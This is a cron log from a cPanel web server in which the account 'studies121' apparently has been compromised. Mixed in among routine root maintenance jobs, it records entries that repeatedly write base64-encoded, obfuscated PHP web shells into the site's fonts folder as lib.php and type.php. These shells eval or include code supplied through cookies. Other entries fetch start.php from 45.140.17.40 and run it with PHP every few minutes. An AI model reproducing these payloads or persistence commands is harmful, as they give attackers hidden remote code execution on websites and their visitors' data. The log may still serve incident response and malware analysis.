Aug 30 14:55:01 ip-184-168-122-23 CROND[31204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:55:01 ip-184-168-122-23 CROND[31203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:55:01 ip-184-168-122-23 CROND[31205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:55:01 ip-184-168-122-23 CROND[31206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:55:01 ip-184-168-122-23 CROND[31207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:56:01 ip-184-168-122-23 CROND[31323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:56:01 ip-184-168-122-23 CROND[31325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:56:01 ip-184-168-122-23 CROND[31326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:56:01 ip-184-168-122-23 CROND[31327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:56:01 ip-184-168-122-23 CROND[31328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:57:01 ip-184-168-122-23 CROND[31425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:57:01 ip-184-168-122-23 CROND[31423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:57:01 ip-184-168-122-23 CROND[31424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:57:01 ip-184-168-122-23 CROND[31426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:58:02 ip-184-168-122-23 CROND[31518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:58:02 ip-184-168-122-23 CROND[31517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:58:02 ip-184-168-122-23 CROND[31521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:58:02 ip-184-168-122-23 CROND[31519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:58:02 ip-184-168-122-23 CROND[31520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:59:01 ip-184-168-122-23 CROND[31717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:59:01 ip-184-168-122-23 CROND[31719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:59:01 ip-184-168-122-23 CROND[31720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:59:01 ip-184-168-122-23 CROND[31722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:00:01 ip-184-168-122-23 CROND[31806]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:00:01 ip-184-168-122-23 CROND[31809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:00:01 ip-184-168-122-23 CROND[31810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:00:01 ip-184-168-122-23 CROND[31812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:00:01 ip-184-168-122-23 CROND[31814]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:00:01 ip-184-168-122-23 CROND[31815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:00:01 ip-184-168-122-23 CROND[31817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:00:01 ip-184-168-122-23 CROND[31818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:01:01 ip-184-168-122-23 CROND[31932]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31932]: starting 0anacron
Aug 30 15:01:01 ip-184-168-122-23 CROND[31935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:01:01 ip-184-168-122-23 CROND[31941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:01:01 ip-184-168-122-23 CROND[31944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:01:01 ip-184-168-122-23 CROND[31943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:01:01 ip-184-168-122-23 CROND[31945]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31947]: finished 0anacron
Aug 30 15:02:01 ip-184-168-122-23 CROND[32025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:02:01 ip-184-168-122-23 CROND[32026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:02:01 ip-184-168-122-23 CROND[32029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:02:01 ip-184-168-122-23 CROND[32030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:02:01 ip-184-168-122-23 CROND[32031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:03:01 ip-184-168-122-23 CROND[32134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:03:01 ip-184-168-122-23 CROND[32135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:03:01 ip-184-168-122-23 CROND[32137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:03:01 ip-184-168-122-23 CROND[32136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:04:01 ip-184-168-122-23 CROND[32294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:04:01 ip-184-168-122-23 CROND[32296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:04:01 ip-184-168-122-23 CROND[32298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:04:01 ip-184-168-122-23 CROND[32297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:04:01 ip-184-168-122-23 CROND[32300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:05:01 ip-184-168-122-23 CROND[32393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:05:02 ip-184-168-122-23 CROND[32395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:05:02 ip-184-168-122-23 CROND[32397]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 15:05:02 ip-184-168-122-23 CROND[32396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:05:02 ip-184-168-122-23 CROND[32398]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:05:02 ip-184-168-122-23 CROND[32399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:05:02 ip-184-168-122-23 CROND[32401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:06:01 ip-184-168-122-23 CROND[32486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:06:01 ip-184-168-122-23 CROND[32485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:06:01 ip-184-168-122-23 CROND[32487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:06:01 ip-184-168-122-23 CROND[32488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:06:01 ip-184-168-122-23 CROND[32494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
